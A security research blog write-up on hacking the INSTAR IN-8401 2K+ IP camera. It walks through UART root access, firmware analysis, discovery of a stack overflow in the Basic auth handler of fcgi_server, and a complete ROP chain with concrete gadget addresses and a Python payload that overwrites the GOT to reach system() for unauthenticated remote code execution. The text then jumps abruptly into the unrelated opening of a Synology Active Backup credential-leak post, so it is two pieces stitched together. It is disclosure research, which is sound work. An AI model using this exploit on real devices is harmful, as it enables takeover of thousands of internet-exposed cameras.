Target Overview

I examined the IN-8401 2K+, an IP camera from the German manufacturer INSTAR. It’s a modern networked surveillance camera that exposes a web-based user interface for configuration and live view. As I later found this particular model shares its firmware with other devices from INSTAR’s 2K+ and 4K series. According to Shodan¹ there are roughly 12,000 INSTAR devices visible on the public internet.

Cracking the Shell Open

Before we can meaningfully hunt for vulnerabilities, we need to gain access to the device to obtain its firmware. Access to the firmware exposes binaries, configuration files, scripts and the filesystem layout and enables both static inspection and dynamic testing. Without the firmware we’re stuck with blind fuzzing of the network interface.

It’s always a good idea to collect as much information as possible before diving into analysis mode. So I started with some reading. INSTAR provides quite an extensive documentation about its cameras and their features. I found a very interesting page titled “Restore your HD Camera after a faulty Firmware upgrade”². The article explained that the camera exposes a UART interface and how it could be accessed to restore a firmware image. UART is a hardware interface used for serial communication commonly found on development boards, embedded systems, and debugging interfaces. In the documentation it looked like it’s possible to boot right into a root shell.

Although the article was written for the HD camera models, not my 2K+, I figured it might be worth a shot, since manufacturers often reuse features and components across different product versions. I removed the front part of the housing and spotted the debugging interface as shown on the wiki page.

I went ahead and attached some PCBites to the interface and connected them to a FTDI, which is a small USB-to-serial converter.

I then plugged the FTDI into my Linux machine and connected to it. After supplying some input over the serial connection I was greeted with a login prompt, cool!

1
2
3

INSTAR login: root
Password:
Login incorrect

I tried a couple of the usual combinations like admin:admin, root:root, and so on, but had no success. The documentation explained that the boot process could be interrupted to obtain a root shell on the device’s OS. So I rebooted the camera to see if that worked.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

U-Boot 2019.04 (Oct 18 2023 - 11:38:25 +0000)

CPU:   Novatek NT @ 999 MHz
DRAM:  512 MiB
Relocation to 0x1ff3b000, Offset is 0x01f3b000 sp at 1fbf4dc0
nvt_shminfo_init:  The fdt buffer addr: 0x1fbfb8c8
ARM CA9 global timer had already been initiated
otp_init!
120MHz
otp_timing_reg= 0xff6050
 CONFIG_MEM_SIZE                =      0x20000000
 CONFIG_NVT_UIMAGE_SIZE         =      0x01900000
 CONFIG_NVT_ALL_IN_ONE_IMG_SIZE =      0x14a00000
 CONFIG_UBOOT_SDRAM_BASE        =      0x1e000000
 CONFIG_UBOOT_SDRAM_SIZE        =      0x01fc0000
 CONFIG_LINUX_SDRAM_BASE        =      0x01100000
 CONFIG_LINUX_SDRAM_SIZE        =      0x1cf00000
 CONFIG_LINUX_SDRAM_START       =      0x1c700000
[...]
phy interface: INTERNAL MII
eth_na51055
Hit any key to stop autoboot:  0
 do_nvt_boot_cmd: boot time: 1718855(us)
 [...]

As you can see there was indeed a mechanism to stop the device from autobooting. But contrary to what the documentation suggested, interrupting the boot process didn’t provide a root shell on the OS, only in the U-Boot bootloader. U-Boot (short for Universal Bootloader) is an open-source bootloader commonly used in embedded systems to initialize hardware and load the operating system or firmware during startup.

1
2
3
4
5
6
7
8
9

nvt@na51055: printenv
arch=arm
[...]
bootargs=console=ttyS0,115200 earlyprintk nvt_pst=/dev/mmcblk2p0
nvtemmcpart=0x40000@0x40000(fdt)ro,0x200000@0xc0000(uboot)ro,0x40000@0x2c0000(uenv),0x400000@0x300000(linux)ro,0x40000000@0xb00000(rootfs0),0xc000000@0x40b00000(rootfs1),0x40000000@0x4cb00000(rootfs2),0x1000000@0x8CF00000(rootfsl1),0x10000000@0x8E300000(rootfsl2),0xe6a340@0(total) root=/dev/mmcblk2p1 rootfstype=ext4 rootwait rw
bootcmd=nvt_boot
[...]
vendor=novatek
ver=U-Boot 2019.04 (Oct 18 2023 - 11:38:25 +0000)

I noticed that the Kernel boot parameters were provided by an environment variable called bootargs. I went ahead an tried the init=/bin/sh trick which tells the Kernel to start a shell instead of the init process. I updated the variable accordingly and tried to boot using nvt_boot.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

invt@na51055: setenv bootargs "console=ttyS0,115200 earlyprintk nvt_pst=/dev/mmcblk2p0
nvtemmcpart=0x40000@0x40000(fdt)ro,0x200000@0xc0000(uboot)ro,0x40000@0x2c0000(uenv),0x400000@0x300000(linux)ro,0x40000000@0xb00000(rootfs0),0xc000000@0x40b00000(rootfs1),0x40000000@0x4cb00000(rootfs2),0x1000000@0x8CF00000(rootfsl1),0x10000000@0x8E300000(rootfsl2),0xe6a340@0(total) root=/dev/mmcblk2p1 rootfstype=ext4 rootwait rw init=/bin/sh"
nvt@na51055: nvt_boot
[...]
EXT4-fs (mmcblk2p1): recovery complete
EXT4-fs (mmcblk2p1): mounted filesystem with ordered data mode. Opts: (null)
VFS: Mounted root (ext4 filesystem) on device 179:1.
devtmpfs: mounted
Freeing unused kernel memory: 1024K
Run /bin/sh as init process
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)
/ # hostname
INSTAR

It worked. I added a new root user and rebooted the device. Now I was able to login to the device using the newly created user. I dumped the whole filesystem for analysis and as a backup so I could also restore it later, if anything went wrong along the way.

High-Level Architecture & Attack Surface

With the device unlocked and open for exploration it’s very easy to get swept away by curiosity. With the goal of finding exploitable vulnerabilities in mind it’s important to lay out something like an attack surface map first.

The web stack consisted of various components, most prominently a lighttpd web server that acted as an entry point and reverse proxy. I started by inspecting its configuration to see what it was doing. As you would expect from a reverse proxy, incoming requests were forwarded to the appropriate backend. For example, requests to files ending with .cgi were routed to the fcgi_server binary through a socket at /tmp/instt_fcgi.socket.

1
2
3
4
5
6

fastcgi.server = ( ".cgi" => ((
"bin-path" => "/home/ipc/bin/fcgi_server",
"socket" => "/tmp/instt_fcgi.socket",
"max-procs" => 1,
"check-local" => "disable"
))

I was mainly interested in finding code that was reachable without authentication. From my initial exploration I knew that there was an SQLite database file where the web interface users were stored, so the binary that performed authentication had to access this file. However, I couldn’t confirm that fcgi_server was interacting with it. I concluded another component must be involved. In the process list I noticed a process called ipc_server. I attached strace to see what it was doing and found that incoming requests for most endpoints were forwarded from fcgi_server to ipc_server via /tmp/insttv2_socket.

As an example:

1
2
3

$ curl '192.168.0.3/param.cgi?cmd=mod0&paramkey=paramvalue'
cmd="mod0";
response="204";

On ipc_server’s end:

1

recv(91, "\4cmd\0\3\5\0\0\0mod0\0\6param\0\4\32\0\0\0\tparamkey\0\3\v\0\0\0paramvalue\0\7header\0\4\25\0\0\0\3ip\0\3\f\0\0\000192.168.0.1\0", 87, 0) = 87

As you can observe, the HTTP request wasn’t forwarded as-is, it was first serialized using some type of Type–Length–Value (TLV) structure. These observations also made it clear that authentication and the core application logic reside in the ipc_server backend.

With this, I had identified two interesting targets: fcgi_server and ipc_server, both of which were reachable by an unauthenticated attacker.

Methodology

With the two main targets fcgi_server and ipc_server identified we can now focus on searching for vulnerabilities. In this section I want to quickly touch on the methods I employed for doing so.

Probably one of the most important ingredients for efficient vulnerability hunting is having a proper debugging setup in place. This allows for quickly double-checking any assumptions made during static analysis, tracing calls, and so on. I ran more or less an identical setup to the one used in the last research with a gdb server on the IP camera and a gdb client on the attacker’s machine.

For this research I primarily used two approaches: fuzzing, and a combination of static and dynamic analysis. I started off with something that I would call a very primitive way of black-box fuzzing using boofuzz³ on collected web endpoints. I tried fuzzing through all possible parameters I had found on various endpoints to see if I could trigger a crash. Although this approach yielded CVE-2025-8761⁴, I felt like it was very inefficient as a crash of the whole system was the only thing I was able to reliably detect (more on that later).

As a secondary approach I spent quite some time on reverse engineering the two binaries fcgi_server and ipc_server. I tried to get an understanding of how things work while focusing on the usual suspects for memory corruption like bounds checking, pointer arithmetic, etc. To speed things up my process usually involved examining the decompiled binary, making assumptions, and verifying them using gdb and strace dynamically.

Vulnerability Hunting

Let’s have a look at some code. As described earlier fcgi_server acted as some sort of custom middleware that translated web requests into ipc messages. In the decompiled binary I found a dispatcher for .cgi endpoints which called certain handler functions based on the given URI.

In most of the handler functions a similar pattern emerged. Inside each handler there was a call to the same function which looked like another dispatcher. I identified the second dispatcher as some sort of authentication handler.

I assumed that the code had to extract and serialize the corresponding auth data from http requests differently, depending on the authentication mechanism used. There were several different handlers one of which I identified as the basic auth handler.

Inside the basic auth handler, there was a call to another function that looked like a custom implementation of Base64 decoding. As you might have noticed, the decompiled code contained typical C++ elements such as class methods, this pointers, and references to the C++ standard library. Most of the string-related functionality I had seen so far was therefore using C++’s standard string handling. In this case, however, I noticed a memcpy that copied the decoded Base64 result into a fixed-size buffer (516 bytes) located on the stack.

Without spending much more time on static analysis, I moved on to perform some dynamic testing of the basic authentication functionality. First, I needed to verify my assumption that the basic auth handler and Base64 decode function were being triggered, so I set a few breakpoints and sent a request.

1
2
3
4
5
6
7
8
9

$ curl -k https://192.168.0.3/castore.cgi -u 'A:B' -v
[...]
* Request completely sent off
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/2 500
< content-type: text/plain; charset=utf-8
[...]
< server: lighttpd/1.4.72

The breakpoints triggered which confirmed my assumptions so far and I got back a 500.

Then I sent another request with a very long basic auth string exceeding the 516 buffer length in the base64 decode function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

$ curl -k https://192.168.0.3/castore.cgi -u 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:B' -v
[...]
* Request completely sent off
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/2 500
< content-type: text/html
[...]
< server: lighttpd/1.4.72
<
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
 <head>
  <title>500 Internal Server Error</title>
 </head>
 <body>
  <h1>500 Internal Server Error</h1>
 </body>
</html>

I got back another 500. However, the response wasn’t the same, this time it included an HTML error message. Strange, right? Let’s have a look at what the serial terminal showed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

Hardware name: Novatek Video Platform
PC is at 0x41414140
LR is at 0x76e39e8c
pc : [<41414140>]    lr : [<76e39e8c>]    psr: 60010030
sp : 753808d0  ip : 76e6f48c  fp : 41414141
r10: 41414141  r9 : 41414141  r8 : 41414141
r7 : 41414141  r6 : 41414141  r5 : 41414141  r4 : 41414141
r3 : 00000000  r2 : 75380698  r1 : 00000000  r0 : 75380698
Flags: nZCv  IRQs on  FIQs on  Mode USER_32  ISA Thumb  Segment user
Control: 10c5387d  Table: 4dbdc04a  DAC: 00000055
CPU: 1 PID: 6392 Comm: fcgi_server Tainted: P           O      4.19.91 #1
Hardware name: Novatek Video Platform
Backtrace:
[<8010b428>] (dump_backtrace) from [<8010b554>] (show_stack+0x18/0x1c)
 r7:41414140 r6:60070013 r5:00000000 r4:808405e4
[...]

What happened? The program had crashed. PC is at 0x41414140 indicates that I had overwritten the stack since the code took the return address from the stack and tried jumping to it. In this case 0x41414140 which corresponds to the payload sent. I had found a stack-based buffer overflow.

Why hadn’t I discovered this vulnerability during my initial fuzzing? I figured there were two reasons:

• The HTTP status code was the same as for a normal request, only the response body differed. So getting a 500 response to the request was nothing unusual.
• The lighttpd server immediately restarted fcgi_server, so the crash wasn’t noticeable from an outside perspective.

This once again highlights the importance of a proper debugging setup.

Exploitation

Before we jump to the fun part, a quick heads up: If you’re not familiar with binary exploitation or the ARM architecture I’d recommend to have a look at the previous blog post⁵ first as many concepts are similar to those from the previous research and won’t be described in detail in this post.

Let’s first discuss the preconditions of exploiting the discovered stack-based buffer overflow. We’re dealing with an ARMHF 32 bit binary, dynamically linked and stripped. As shown by checksec the target binary isn’t protected by stack canaries, but does have the NX mitigation enabled. It isn’t compiled as a position independent executable (PIE) and has partial relocation read-only (RELRO).

1
2

$ file fcgi_server
fcgi_server: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 4.9.0, stripped

1
2
3

$ checksec --file=fcgi_server
RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE

What does this mean for us as attackers? Overwriting return addresses on the stack with an overflow is straightforward because of the lack of stack canaries. However, we can’t execute shellcode on the stack. Also, the binary will always be placed in the same memory region, because it wasn’t compiled as a PIE. Finally, partial RELRO means that the global offset table (GOT) comes before the BSS section in memory, which holds uninitialized global and static variables. This eliminates the risk of a buffer overflow from a global variable overwriting GOT entries⁶. Since our overflow is on the stack, this doesn’t really matter to us. What does matter though, is that it also means that the GOT is writable. Only full RELRO provides a read-only GOT.

Let’s also have a look at the libraries included by the target binary such as the libc. We can see that libc was compiled with PIE, meaning that it can be placed randomly in memory during runtime.

1
2
3

$ checksec --file=libc-2.29.so
RELRO           STACK CANARY      NX            PIE
Partial RELRO   Canary found      NX enabled    DSO

Evidently, when looking at the mitigations in place, it makes sense to consider a Return-oriented programming (ROP) chain to achieve command execution. A ROP chain leverages small code snippets, or gadgets, already present in a program’s memory. By linking these gadgets, an attacker constructs an unintended, attacker-controlled execution flow. The effectiveness of a ROP chain depends on the availability of suitable gadgets and the attacker’s knowledge of their memory addresses.

In our case we could use gadgets from the target binary (fcgi_server) itself because their addresses are static and therefore known. These gadgets are quite limited though and eventually we would need to call file I/O functions or system() provided by libc to gain command execution. Note that libc was compiled with PIE. I quickly confirmed on the device that address space layout randomization (ASLR) was enabled, so libc was indeed placed at a random address in memory.

I came up with a couple of ideas on how to deal with this:

• Find a libc address leak through another vulnerability
• Find a file read for /proc/self/maps
• Leak a libc address through a ROP chain

Unfortunately, I couldn’t quickly find another vulnerability that would let me leak a libc address. I considered reading /proc/self/maps to locate libc, but that proved unsuccessful. I also looked into using gadgets in the target binary to build a ROP chain to leak a libc address. However, there was no straightforward way to exfiltrate the leaked pointer.

A bigger issue was that any ROP chain would eventually crash the binary, rendering the leak useless because libc would be relocated on the next start of fcgi_server. In a stack-based buffer overflow, it’s also impossible to restore the stack to its previous state, as the very information required for restoration is overwritten.

One approach often used in this kind of scenario is to trigger the bug multiple times to prolong the crash: trigger it once to leak an address, then return to the vulnerable function and trigger the overflow again to make use of the leak. However, that approach requires an I/O channel to read the leak and then supply input again. Given the web-stack architecture we discussed and the bug’s location, that wasn’t feasible, so I concluded a one-shot exploit was likely the only viable option.

The Plan

There are several known techniques that revolve around the GOT and Procedure Linkage Table (PLT) to bypass ASLR. When a call to an external function such as puts (libc) is made, the immediate call goes to puts@plt which acts as a resolver of the actual address of puts within libc. The resolved address is then stored in the GOT. If a specific function has already been resolved previously it is taken from the GOT by the puts@plt stub⁷.

So the information needed to bypass ASLR lives in the GOT. Ideally we’d find the address of system there, but the target binary never references system, so it has no GOT/PLT entry. Instead, we could read a GOT entry for another function, compute the offset from that function to our target, and use that to redirect execution to the target. But all of this must be done via a ROP chain built from gadgets available in the binary.

The high level steps would look something like this:

• Read a GOT entry and store in register x
• Increment/decrement register x to reach target function (eg. addition, multiply, etc.)
• Jump to x

Or another approach:

• Increment/decrement value pointed to by GOT pointer to reach target function (GOT is writable)
• Dereference GOT pointer into register x
• Jump to x

Still a vast simplification, we would still need to move arguments into the correct registers and so on before jumping to the target function system() but it’s a starting point.

Finding the Pieces

To pursue this idea I first wanted to find a GOT entry that is already populated when triggering the vulnerability. Within the vulnerable base64 decode function there is a call to isalnum which is a libc function. Let’s have a look at its PLT and GOT entries.

Using objdump we can see the address of the PLT entry inside fcgi_server of isalnum

1
2
3
4

objdump -d fcgi_server| grep '<isalnum@plt>'
000147e8 <isalnum@plt>:
   206c8:       ebffd046        bl      147e8 <isalnum@plt>
   21010:       ebffcdf4        bl      147e8 <isalnum@plt>

To verify the corresponding GOT entry and actual address at runtime I set a breakpoint at the return statement after the overflow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

(remote) gef➤  info address isalnum@got.plt
Symbol "isalnum@got.plt" is at 0x400c8 in a file compiled without debugging.
(remote) gef➤  x/wx 0x400c8
0x400c8 <isalnum@got.plt>:      0x76ba86f0
(remote) gef➤  x/8i 0x76ba86f0
   0x76ba86f0 <isalnum>:        ldr     r3, [pc, #24]   @ 0x76ba8710 <isalnum+32>
   0x76ba86f4 <isalnum+4>:      mrc     15, 0, r2, cr13, cr0, {3}
   0x76ba86f8 <isalnum+8>:      lsl     r0, r0, #1
   0x76ba86fc <isalnum+12>:     ldr     r3, [pc, r3]
   0x76ba8700 <isalnum+16>:     ldr     r3, [r2, r3]
   0x76ba8704 <isalnum+20>:     ldrh    r0, [r3, r0]
   0x76ba8708 <isalnum+24>:     and     r0, r0, #8
   0x76ba870c <isalnum+28>:     bx      lr

As you can see the GOT entry is at 0x400c8 which points to the actual address of isalnum at 0x76ba86f0 within libc.

1
2
3
4
5
6
7
8
9

(remote) gef➤  info function system
All functions matching regular expression "system":

Non-debugging symbols:
0x000147c4  std::_V2::system_category()@plt
[...]
0x76bbb920  __libc_system
0x76bbb920  system
0x76c83fac  svcerr_systemerr

Let’s see how far apart that isalnum (0x76ba86f0) and system (0x76bbb920) are.

1
2

>>> hex(0x76bbb920 - 0x76ba86f0)
'0x13230'

So that means that if we can add 0x13230 to the address at isalnum@got we have the address of system.

Gadgets, Gadgets and more Gadgets

Now to the tedious part. The only thing between the high-level plan and RCE was a bunch of gadgets, right? I initially tried tools such as angrop⁸ to find and automatically chain gadgets, but ARM assembly offers many different, often multi-instruction ways to perform simple operations, e.g. add to a register or move values between registers. Those tools handle obvious, straightforward gadgets well, but they struggle once the gadget sequences become more complex. So in the end I reverted to manually searching and chaining gadgets with Ropper⁹.

If no short, straightforward gadgets are available, you must resort to longer ones. Typically, the longer a gadget is, the more side effects it has, for example, overwriting registers or changing the stack pointer. The challenge is therefore to find gadgets that implement the required primitive while introducing only manageable side effects that later gadgets can correct.

The most crucial gadget in my chain was the one to add two values, preferably fully controllable. This would let me add the calculated offset to the address at isalnum@got to get the address of system. While there were a couple of gadgets to add static values like 0x1 or 0x2 to a register, these didn’t seem very useful because either a loop would be required to call them many times or the chain would become too long to reach the desired value. So I tried to find gadgets that added values from two registers such as the following one.

# 0x000228d8: add r6, fp, r6; ldrb sb, [ip, #1]; ldr sl, [ip, #2]; blx r3;

Let’s break that down:

• add r6, fp, r6: Adds fp (r11) and r6, stores result in r6
• ldrb sb, [ip, #1]: Dereferences ip (r12) + 1 byte, stores result in sb (r9)
• ldr sl, [ip, #2]: Dereferences ip (r12) + 2 word, stores result in sl (r10)
• blx r3: Jumps to r3

As you can see here side effects can also mean that certain registers have to contain certain values beforehand. In this case ip (r12) has to contain a valid address that can be dereferenced. If that’s not the case, the program will crash.

So we have a gadget that allows us to add fp (r11) and r6. Ideally we want the address of isalnum in r6 and the offset we calculated earlier in fp (r11) giving us the address of system in r6 as an output of the gadget. But how do we get the address of isalnum into r6? The address of isalnum@got is known so we need a gadget to dereference it to obtain the address of isalnum within libc.

To accomplish this, let’s have a look at this gadget:

# 0x000190ac: ldr r6, [r3, #0x10]; ldr r3, [r2, #4]; blx r3;

Breakdown:

• ldr r6, [r3, #0x10]: Dereferences (r3 + 0x10), stores result in r6
• ldr r3, [r2, #4]: Dereferences (r2 + 0x4), stores result in r3
• blx r3;: Jumps to r3

Exactly what we need, but as you can tell this gadget needs some specific preparation beforehand. To continue the chain with blx r3 we need to make sure *(r2 + 0x4) results in the next gadget of the chain. But that should be doable.

Last but not least we need a gadget to jump to the calculated address. Unfortunately I simply couldn’t find one. I also couldn’t find ways of moving the address into another register for which call gadgets would exist. So where to go from here? I recalled that the GOT of the target binary is actually writable. So what about writing it back to the GOT? If that works we could just call isalnum@plt which would then load the altered address from the GOT and jump to it.

Let’s try, here’s another gadget:

# 0x0002a3f8: str r0, [r4, #4]; pop {r4, r5, r6, pc};

Breakdown:

• str r0, [r4, #4]: Dereferences (r4 + 0x4) and stores value of r0
• pop {r4, r5, r6, pc}: Continues the chain

This gadget enables us to store a value in r0 at *(r4 + 0x4). Given that we find gadgets to move our calculated address into r0 and isalnum@got - 0x4 into r4 this allows us to write the tampered address back to the GOT.

So if we could make everything line up the plan would be:

• Dereference isalnum@got entry and store it in r6
• Add the calculated offset to system to the register r6
• Write the register r6 back to the GOT -> isalnum@got
• Prepare function arguments for system
• Call isalnum@plt

Building the Chain

The path wasn’t as straightforward as this write-up might imply. I spent quite some time trying to mix and match gadgets and even exchanged the ones discussed above numerous times until I came up with the following chain. Let me walk you through it.

The function epilogue of the vulnerable base64 function conveniently allows us to populate r4 to r11 before jumping to the first gadget. So in this case I added some values to r6, r9 and r11 for later use.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

p = b""
p += 516 * b"A"
p += b"BBBB" # r4
p += b"CCCC" # r5
p += p32(0x1cad0) # r6
p += b"EEEE" # r7
p += b"FFFF" # r8
p += p32(0x190ac) # r9 (sb)
p += b"HHHH" # r10 (sl)
p += p32(0x13230) # r11 (fp) -> offset system - isalnum

As a first step of the chain, we do some preparations.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# 0x00028a08: mov r0, r6; pop {r4, r5, r6, pc};
p += p32(0x28a08)
p += b"XXXX" # r4
p += b"XXXX" # r5
p += b"XXXX" # r6

# 0x0001459c: pop {r3, pc};
p += p32(0x1459c)
p += p32(ISALNUM_GOT - 0x10) # r3

# 0x0002a33c: mov r2, sp; str r0, [sp, #4]; mov r0, r3; blx sb;
p += p32(0x2a33c)
p += b"AAAA" # <- sp

What we do here is basically this:

1
2
3
4
5
6

r0 = r6 = 0x1cad0
r3 = ISALNUM_GOT - 0x10
r2 = sp
*(sp + 4) = r0 = 0x1cad0
r0 = r3 = ISALNUM_GOT - 0x10
*(0x190ac)()

Note that we store isalnum@got in r3 so the following gadget can dereference it into r6. As discussed before we have to make sure that r2 contains a stack pointer so the chain can continue with blx r3.

1

# 0x000190ac: ldr r6, [r3, #0x10]; ldr r3, [r2, #4]; blx r3;

1
2
3

r6 = *(r3 + 0x10) = *(ISALNUM_GOT - 0x10 + 0x10) = *ISALNUM_GOT
r3 = *(r2 + 0x4) = *(sp + 0x4)
*(sp + 0x4)() # -> 0x1cad0

As shown above *(sp + 0x4) is overwritten at runtime, so we need to make sure there is some scratch space on the stack so everything adds up properly.

When jumping to the gadget at 0x1cad0 the stack looks like this:

The stack pointer still points at the AAAA value. So we continue with some readjustments of the stack pointer and preparations of the r3 register.

1
2
3
4
5
6

# 0x0001cad0: pop {r4, r5, pc};
p += b"XXXX" # r5 (scratch space)

# 0x0001459c: pop {r3, pc};
p += p32(0x1459c)
p += p32(0x27d14) # r3

1

r3 = 0x27d14

Next up is the discussed gadget to add isalnum’s address an the calculated offset. The offset was already put into fp (r11) at the very beginning of the chain. Register r6 also contains isalnum’s real address read from the GOT by now.

1
2

# 0x000228d8: add r6, fp, r6; ldrb sb, [ip, #1]; ldr sl, [ip, #2]; blx r3;
p += p32(0x228d8)

1
2
3
4

r6 = r6 + fp = *ISALNUM_GOT + 0x13230 = system
sb = *(ip + 0x1)
sl = *(ip + 0x2)
*(0x27d14)()

The ip register can be disregarded as it won’t be used later and conveniently contained an address that points to the stack. Since we’re just reading from it, it also doesn’t invoke any undesirable side effects.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

# 0x00027d14: mov r0, r6; add sp, sp, #0x3c; pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};
p += 0x3c * b"P"
p += p32(ISALNUM_GOT - 4) # r4 -> target - 4
p += b"XXXX" # r5
p += b"XXXX" # r6
p += b"XXXX" # r7
p += b"XXXX" # r8
p += b"XXXX" # sb
p += b"XXXX" # sl
p += b"XXXX" # fp

As a next step we have a gadget that moves r6 into r0. So we move the calculated address (= system) into r0. Also, we prepare the r4 register for the next step. To deal with the side effects of this gadget some more padding is added.

1
2
3

r0 = r6 = system
sp = sp + 0x3c
r4 = ISALNUM_GOT - 4

Finally, we reach the gadget that writes our calculated system address back to the GOT.

1
2
3
4
5

# 0x0002a3f8: str r0, [r4, #4]; pop {r4, r5, r6, pc};
p += p32(0x2a3f8)
p += b"XXXX" # r4
p += b"XXXX" # r5
p += p32(ISALNUM_PLT) # r6

To our convenience it also allows us to write isalnum@plt to r6.

1
2

*(r4 + 0x4) = r0 = *(ISALNUM_GOT - 0x4 + 0x4) = system
r6 = ISALNUM_PLT

From here there isn’t much left to do. We move the stack pointer into r0 (first argument) and then call r6 which we previously populated with the address of system.

1
2
3
4

# 0x0001fb04: mov r0, sp; blx r6;
p += p32(0x1fb04)
p += CMD.encode()
p += b"\x00"

Let’s test things out:

RCE!

Why Didn’t You Just … ?

Attentive readers might have noticed this is a 32-bit binary, so why not just brute-force the address of system()? This was indeed possible because the address space for 32-bit systems is significantly less than for 64-bit therefore the number of possible locations of libc is also a lot smaller. I used this approach for the first version of the exploit which worked fine. However, while probing for the correct address the exploit keeps crashing the target binary. If we think about a red team scenario this approach would be very noisy and should therefore be avoided. That’s why I decided to work out a more reliable exploit.

Wrapping Up

We’ve now walked the full path from firmware extraction and analysis, through vulnerability identification, and exploitation. I hope reading this was as enjoyable for you as the actual research was for me.

All vulnerabilities discovered during this research were reported through a responsible-disclosure process. Thanks to INSTAR for their prompt response, they fixed the issues and released an update within a short period of time. The 90-day disclosure period has elapsed, and along with this write-up the exploit is now publicly available here.

We discovered a leaked credential that allowed anyone unauthorized access to all Microsoft tenants of organizations that use Synology’s “Active Backup for Microsoft 365” (ABM). This flaw could be leveraged by malicious actors to obtain potentially sensitive information — such as all messages in Microsoft Teams channels. It was reported to Synology and tracked as CVE-2025-4679.

This blog post contains the full technical walk-through and discovery of the vulnerability, its impact, and our experience during the responsible disclosure process with Synology.

The standalone disclosure report is available on our advisory page and potential Indicators of Compromise (IoC) are provided in a dedicated section further below.

Background

During a red-team engagement against a customer’s Microsoft Entra tenant and Azure infrastructure we came across an application named “Synology Active Backup for M365”.

The application had broad permissions — such as read access to all groups and Microsoft Teams channel messages — making it an ideal target to obtain information that may be useful for further attacks (i.e. credential abuse or social engineering).

To analyze it, we created our own lab environment consisting of a Microsoft sandbox tenant and the ABM add-on installed within Synology’s DiskStation Manager (DSM) operating system. For research purposes it is not necessary to have a Synology NAS appliance, as the entire OS can be virtualized via Docker. We also built some tools along the way, which can be helpful to reverse engineer DSM add-on packages. We will share them for other security researchers on our GitHub soon.

About ABM

Synology is best known for its network-attached storage (NAS) solutions, marketed as backup servers for private or business use. “Active Backup for Microsoft 365” (ABM) is their free software add-on developed for the DSM. It offers integration with Microsoft services, such as OneDrive, SharePoint, Exchange Online and Microsoft Teams, to perform automated backups. With over 1.2 million installations, the add-on sees broad adoption among organizations that are transitioning to cloud-based workloads.

Setup

After installing ABM, the user is guided through a setup wizard, which is designed to link the NAS instance to their respective Microsoft tenant. This is the most interesting aspect of the setup process, as it facilitates the access to an organization’s data in the cloud.

High-level setup procedure:

1. Login & Consent – The wizard sends the user to the Microsoft login portal where they sign in, and are prompted to grant admin consent for ABM’s requested permissions within the tenant.

2. Handoff – After confirmation, an OAuth login through the ABM application is performed. Microsoft hands off the user and their resulting authorization details (the auth code) to a Synology middleware service, which then forwards everything back to the user’s NAS instance.

3. Finalization – The ABM add-on on the NAS exchanges the user’s authorization details for a Microsoft Graph API scoped access token at the organization’s Microsoft OAuth endpoint to finalize the setup.

Sidenote: The user is also required to activate the add-on with their Synology account after installation as part of the setup procedure, for which further details are skipped in this post.

Technical Concepts & Context

Before diving into the details of the vulnerability, let’s take a step back and cover a few basics related to the authentication concepts of Microsoft Entra.

Identities, Applications, and Permissions

The ABM add-on leverages the Microsoft identity platform, allowing companies like Synology to publish Software-as-a-Service (SaaS) applications that users access through their Microsoft account. These accounts are managed by the dedicated Microsoft tenant of an organization, which is a trusted cloud instance of Microsoft Entra ID. Each tenant stores and manages all organizational data across Microsoft 365 services, like Microsoft Teams.

ABM is published as a multi-tenant application by the Synology tenant, enabling other organizations to “install” it within their own. The application properties, such as authentication settings, are globally defined by the “app registration” of the publishing tenant. Whereas each consuming tenant maintains a local representation known as a “service principal” — determining the application’s effective permissions within that tenant.

Permissions granted through consent — either by individual users or the organization’s administrators — determine the actions an application can perform against APIs such as Microsoft Graph. These permissions can be of type delegated (signed-in user required) or application (may act independently). Therefore, authenticating as either a user or the service principal of an application grants access to the tenant’s protected data. ABM is configured to request both types of permissions, including privileged access such as reading details of every group (Group.Read.All) as well as all Microsoft Teams channel messages (ChannelMessage.Read.All) via application permissions. As such, when ABM is setup for the first time, an organization’s administrator must grant those requested permissions for their entire tenant.

However, we will later learn why granting those privileges to ABM is a fatal mistake.

Authentication

